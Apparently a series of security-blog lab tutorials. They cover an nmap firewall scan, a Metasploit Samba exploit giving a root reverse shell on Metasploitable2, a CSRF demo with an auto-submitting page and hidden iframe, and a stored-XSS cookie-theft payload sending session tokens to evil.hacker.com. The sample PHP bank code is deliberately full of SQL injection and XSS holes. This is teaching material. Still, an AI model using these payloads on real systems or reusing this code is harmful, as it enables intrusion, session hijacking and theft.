7) Identify Filtering on ports. A filtered port means that the port is open but our access is being blocked by a firewall.
root@kali:~# nmap -sA 192.168.122.1 -p 22

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-14 10:30 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00038s latency).
PORT   STATE    SERVICE
22/tcp filtered ssh


root@kali:~# nmap -sA 192.168.100.1 -p 22

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-14 10:37 IST
Nmap scan report for 192.168.100.1
Host is up (0.00092s latency).
PORT   STATE      SERVICE
22/tcp unfiltered ssh

Saturday, 13 June 2015

Metasploitable2: Hack Samba Server and get root access


The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

We have installed 'Metasploitable 2' and Kali Linux as Virtual Machines in KVM in CentOS7. For Instructions on how to install Metasploitable 2 Virtual Machine in KVM, refer to this post.

In a previous post , we carried out a Vulnerability Scan of the 'Metasploitable 2' virtual machine using OpenVAS in Kali LInux.  

In this post, we will hack Samba Server using Metasploit in Kali Linux.

We have the following scenario:

Metasploitable2 IP Address: 192.168.122.73
Kali Linux IP Address:           192.168.122.115

Perform the following steps on the Kali Linux machine:

1) We perform a port scan on the Metasploitable machine and see that the samba port is open.
root@kali:~# nmap  192.168.122.73
Nmap scan report for 192.168.122.73
Host is up (0.00080s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds


2) Start metasploit
root@kali:~# msfconsole
msf > search samba
 exploit/multi/samba/usermap_script              2007-05-14       excellent  Samba "username map script" Command Execution


msf > use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port


msf exploit(usermap_script) > set RHOST 192.168.122.73
RHOST => 192.168.122.73


msf exploit(usermap_script) > show payloads


We will select a payload in which the remote host connects back to our (attacker) system.

msf exploit(usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse

msf exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.122.73   yes       The target address
   RPORT  139              yes       The target port


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.122.115  yes       The listen address
   LPORT  4444             yes       The listen port


Many corporate environments restrict outbound ports using a firewall. So we will use port 443, which is reserved for SSL traffic, and outbound is generally allowed.

msf exploit(usermap_script) > set LPORT 443
LPORT => 443
msf exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ol88NmbSO30AG07L;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ol88NmbSO30AG07L\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.122.115:443 -> 192.168.122.73:46632) at 2015-06-13 14:35:45 +0530

whoami
root


We now have root access on the target machine


Friday, 12 June 2015

Cross-Site Request Forgery Attack: Example Application


In Cross-site request forgery (CSRF) attack, the attacker creates an innocuous-looking website that causes the user's browser to submit a request directly to the vulnerable application to perform some unintended action.

In this tutorial, we develop a web application which has a CSRF vulnerability. When a user logs into the application, a session is created for him. The attacker creates a malicious URL to exploit the CSRF vulnerability. When the user clicks on the malicious link, the script performs a privileged operation on the vulnerable web application.


Victim Web Server Name: meru.mycompany.com
Attacker Web Server : evil.hacker.com


1) The user logs in to the application by viewing the URL  http://meru.mycompany.com/login.html. Enters username and password. On successful authentication, a session is created for the user. And the user is redirected to the URL http://meru.mycompany.com/transfer.php.








2) On the  page 'transfer.php' , the user specifies the account no. of the recipient and the amount to transfer. 


 The page 'transfer.php' contains the following code:

<?php
session_start();
?>
<html>
<body>
<?php
if(!isset($_SESSION['loginid'])){
  echo "please login";
}else{
?>
<h2>Enter Transaction details</h2> 
<form action="perform.php" method="post">
<label>To account no:</label>
<input type="text" name="daccount"  /> <br/>
<label>Transfer Amount:</label> 
<input type="text" name="amount"  /> <br/>
<input type="submit" name="submit" value="submit"/>
</form>
<?php
}
?>
</body>
</html>


We can see that the  above code is vulnerable to CSRF attack because of the following reasons:
a) The application relies solely on HTTP cookies for tracking sessions.
b) The attacker can determine all the parameters required to perform the action.

3) The attacker constructs a web page 'http://evil.hacker.com/attacker.php' that makes a cross-domain request to the vulnerable application containing everything needed to perform the privileged action. As shown below:

<html>
<body>
<form action="http://meru.mycompany.com/perform.php" method="post">
<input type="hidden" name="daccount" value="1050" /> <br/>
<input type="hidden" name="amount" value="1000" /> <br/>
</form>
<script>document.forms[0].submit();
</script>
</body>
</html>


This attack places all the parameters to the request into hidden form fields and contains a script to automatically submit the form.

4) The attacker puts this page on his web server and tricks the user into clicking on the link http://evil.hacker.com/attacker.php, while the user is already logged-in to the vulnerable application.

When the user's browser submits the form, it automatically adds the user's cookies for the target domain, and the vulnerable application processes the request in the usual way and money is transferred to the attacker's account.


The attacker can also use an iframe to launch the attack, as shown below. The advantage of using an iframe is that the output from the victim server is hidden to the user and the user will not come to know that he has been attacked.

iframe_attack.php
<html>
<body>
<iframe height="0" width="0" src='http://evil.hacker.com/attacker.php'></iframe>
</body>
</html>

In the above case, the user has to click on http://evil.hacker.com/iframe_attack.php.


5) The source code for the application is given below:

 login.php
<?php

if(!isset($_SESSION['loginid'])){
if(isset($_POST['submit'])){
  $loginid = $_POST['loginid'];
  $passwd = $_POST['passwd'];

  $conn = new mysqli('localhost','shabbir','shabbir','mybank');
  if($conn->connect_error){
    die('error connecting to server' . $conn->connect_error);
  }


  $sql = "select loginid,passwd,custname from customer where loginid = '$loginid' and passwd = '$passwd'";

  $result = $conn->query($sql);

  if ($result->num_rows == 1){
    $row = $result->fetch_assoc();
    $custname = $row['custname'];

    session_start();
    $_SESSION['loginid'] = $loginid;
    $_SESSION['custname'] = $custname;

    header('Location: transfer.php');
  }
  $error_msg="invalid username or password.\n";

  $conn->close();
}
}
?>


<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<h2>Enter login details</h2>
<?php
if(! empty($error_msg)){
        echo "<strong>" . $error_msg . "</strong><br/>";
}
?>

<form action="login.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd"  /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>


perform.php
<?php
session_start();
if(!isset($_SESSION['loginid'])){
  echo "please login";
}else{

   $daccount = $_POST['daccount'];
   $amount = $_POST['amount'];
   $loginid = $_SESSION['loginid'];

   $conn = new mysqli('localhost','shabbir','shabbir','mybank');
   if($conn->connect_error){
      die('error connecting to server' . $conn->connect_error);
   }


   $sql1 = "select * from customer where loginid = '$loginid'";
   $result = $conn->query($sql1);

   if($result->num_rows > 0){
     $row = $result->fetch_assoc();
     $sbalance = $row['balance'];
     $sbalance = $sbalance - $amount;
     echo $sbalance;
   }else{
     echo "0 results";
   }

   $sql1 = "select * from customer where accountno = '$daccount'";
   $result = $conn->query($sql1);
 if($result->num_rows > 0){
     $row = $result->fetch_assoc();
     $dbalance = $row['balance'];
     $dbalance = $dbalance + $amount;
     echo $dbalance;
   }else{
     echo "0 results";
   }

   $sql1 = "update customer set balance = $sbalance where loginid = '$loginid'";
   if($conn->query($sql1) == TRUE){
        echo "inserted successfully";
   }
   else{
        echo "error quering database" . $conn->error;
   }
   $sql1 = "update customer set balance = $dbalance where accountno = '$daccount'";
   if($conn->query($sql1) == TRUE){
        echo "inserted successfully";
   }
   else{
        echo "error quering database" . $conn->error;
   }

  $conn->close();

}
?>





Session Hijacking using Stored XSS: Example Application

Session hijacking occurs when an attacker captures a session token and injects it into their own browser to gain access to the victim's authenticated session.

There are some limitations of session hijacking attacks:
1) Stealing cookies is useless if the target is using https:// for browsing.
2) Most cookies expire when the target logs out of a session. This also logs the attacker out of the session.
3) Many websites do not support parallel logins, which negates the use of a stolen cookie.
  
In this tutorial, we will see how to steal session cookie using Stored Cross-Site Scripting Attack.

Stored cross-site scripting arises when data submitted by one user is stored in the application (typically in a database) and then is displayed to other users without being filtered appropriately.

Attacks against Stored XSS vulnerabilities typically involve at least two requests to the application.
1) In the first, the attacker posts some crafted data containing malicious code that the application stores.
2) In the second, a victim views a page containing the attacker's data, and the malicious script is executed in the victim's browser.

We develop a web application which has a stored XSS vulnerability. The attacker logs in to the application and stores a malicious script in her profile. When the victim logs into the application, and views the attacker's profile, the malicious script gets executed in the victim's browser which sends the victim's session token to the attacker.


Web Server Name: meru.mycompany.com
Attacker Machine : evil.hacker.com


1) The attacker logs in to the application by viewing the URL  http://meru.mycompany.com/login.php.






2) The attacker accesses the page 'http://meru.mycompany.com/edit_cust.php' and enters the following Javascript in the Address field.

<a href=# onclick=\"document.location=\'http://evil.hacker.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Address</a>


The attacker logs out of the application. And silently waits for the victim to log in and view her profile.


3) The victim logs in to the application on the URL http://meru.mycompany.com/login.php. And views customer profiles on the page 'http://meru.mycompany.com/list_cust.php'. When the victim clicks on the link My Address , a request is sent to 'evil.hacker.com' containing the user's session token.


This code causes the user's browser to make a request to 'evil.hacker.com'. The request contains the user's session token for the application. 



5) The attacker on 'evil.hacker.com'  runs 'Wireshark' and captures the session token as shown below:



6) Now the attacker has to insert this session token in a cookie in his browser and hijack the user session. The attacker will perform the following steps:

6.1) Open Firefox Web Browser. Install Grease Monkey Firefox extension

https://addons.mozilla.org/en-US/firefox/addon/greasemonkey


6.2) Install Cookie Injector script in Grease Monkey.

http://userscripts-mirror.org/scripts/show/119798

http://dustint.com/post/12/cookie-injection-using-greasemonkey

6.1) Copy the session token from 'Wireshark' output. Right click on Request URI. Select Copy -> Bytes -> Printable Text Only. Then paste  into 'gedit' text editor as shown below:

/xss.php?c=PHPSESSID%3Dnef6vmd3ag8h7lo50m8190iee5

6.2) Edit the copied text as shown below.

Cookie: PHPSESSID=nef6vmd3ag8h7lo50m8190iee5

6.3) Copy the above line.

6.4) Start Firefox web browser. Press Alt+C to open the Cookie Injector dialog. Paste the above copied line and click OK as shown below.






6.5) The session has been hijacked. The attacker accesses the URL http://meru.mycompany.com/transfer.php  and transfers money from the victim's account.






Source Code for the Application:

 login.php
<?php

if(!isset($_SESSION['loginid'])){
if(isset($_POST['submit'])){
  $loginid = $_POST['loginid'];
  $passwd = $_POST['passwd'];

  $conn = new mysqli('localhost','shabbir','shabbir','mybank');
  if($conn->connect_error){
    die('error connecting to server' . $conn->connect_error);
  }


  $sql = "select loginid,passwd,custname from customer where loginid = '$loginid' and passwd = '$passwd'";

  $result = $conn->query($sql);

  if ($result->num_rows == 1){
    $row = $result->fetch_assoc();
    $custname = $row['custname'];

    session_start();
    $_SESSION['loginid'] = $loginid;
    $_SESSION['custname'] = $custname;

    header('Location: search.php');
  }
  $error_msg="invalid username or password.\n";

  $conn->close();
}
}
?>


<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<h2>Enter login details</h2>
<?php
if(! empty($error_msg)){
        echo "<strong>" . $error_msg . "</strong><br/>";
}
?>

<form action="login.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd"  /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>


edit_cust.php

<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<?php
session_start();
if(!isset($_SESSION['loginid'])){
  echo 'Please login';
} else{

if(isset($_POST['submit'])){

$loginid = $_POST['loginid'];
$passwd = $_POST['passwd'];
$custname = $_POST['custname'];
$accountno = $_POST['accountno'];
$balance = $_POST['balance'];
$address = $_POST['address'];
$mobile = $_POST['mobile'];

$conn = new mysqli('localhost','shabbir','shabbir','mybank');
 if($conn->connect_error){
   die('error connecting to server' . $conn->connect_error);
 }

echo $loginid;

$sql = "update customer set passwd = '$passwd', custname = '$custname', accountno = '$accountno', balance = '$balance', address = '$address', mobile = '$mobile' where loginid = '" . $loginid . "'";


if($conn->query($sql) === TRUE){
    echo "inserted successfully";
    header('Location: index.php');
}
else{
  echo "error quering database" . $conn->error;
}

$conn->close();

}else{

$loginid = $_SESSION['loginid'];

$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
  die("connect error" . $conn->connect_error);
}

$sql = "select * from customer where loginid = '" . $loginid . "'";
$result = $conn->query($sql);

if($result->num_rows > 0){
  $row = $result->fetch_assoc();
  $passwd = $row['passwd'];
  $custname = $row['custname'];
  $accountno = $row['accountno'];
  $balance = $row['balance'];
  $address = $row['address'];
  $mobile = $row['mobile'];
}
?>



<h2>Enter customer details</h2>

<form action="edit_cust.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid" value="<?php echo $loginid;?>"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd" value="<?php echo $passwd;?>" /> <br/>

<label>Customer name:</label>
<input type="text" name="custname" value="<?php echo $custname;?>" /> <br/>

<label>Account No:</label>
<input type="text" name="accountno" value="<?php echo $accountno;?>" /> <br/>

<label>Balance:</label>
<input type="text" name="balance" value="<?php echo $balance;?>" /> <br/>

<label>Address:</label>
<input type="text" name="address" value="<?php echo $address;?>" /> <br/>

<label>Mobile No.:</label>
<input type="text" name="mobile" value="<?php echo $mobile;?>" /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>


<?php
}
}
?>

</body>
</html>


list_cust.php
<?php
session_start();

if(!isset($_SESSION['loginid'])){
  echo "please login";
}else{ 


$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
  die("connect error" . $conn->connect_error);
}

$sql = "select * from customer";
$result = $conn->query($sql);

if($result->num_rows > 0){

  echo '<table>';
  echo '<tr><th>Login ID</th><th>Cust Name</th><th>Account No </th><th> Balance</th><th>Address</th><th>Mobile</th></tr>';
  while($row = $result->fetch_assoc()){
     echo "<tr><td><strong>" . $row['loginid'] . "</strong></td>";
     echo "<td>" . $row['custname'] . "</td>";
     echo "<td>" . $row['accountno'] . "</td>";
     echo "<td>" . $row['balance'] . "</td>";
     echo "<td>" . $row['address'] . "</td>";
     echo "<td>" . $row['mobile'] . "</td> </tr>";
  }
  echo '</table>';

}else{
  echo "0 results";
}

$conn->close();
}

?>